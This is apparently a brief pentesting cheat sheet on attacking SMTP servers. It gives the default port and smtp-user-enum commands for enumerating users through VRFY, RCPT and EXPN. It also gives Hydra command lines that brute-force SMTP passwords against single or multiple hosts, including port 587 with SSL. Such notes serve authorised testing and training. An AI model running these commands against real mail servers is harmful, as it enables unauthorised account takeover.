SMTP Jutsus

1. Default Port

SMTP (Simple Mail Transfer Protcol) default port is 25.

2. VRFY | RCPT | EXPN User Enumeration

If VRFY, RCPT, or EXPN is available, you can enumerate users via smtp-user-enum. sudo apt-get install smtp-user-enum.

smtp-user-enum -M RCPT -U users.txt -T mail-server-ips.txt to bruteforce multiple hosts.

3. SMTP Brute-Force with Hydra

hydra -l username -P passwords.txt 192.168.163.56 smtp -V
hydra -l username -P passwords.txt -s 587 192.168.163.56 -S -v -V #Port 587 for SMTP with SSL
hydra -L users.txt -P passwords.txt -M targets.txt smtp -V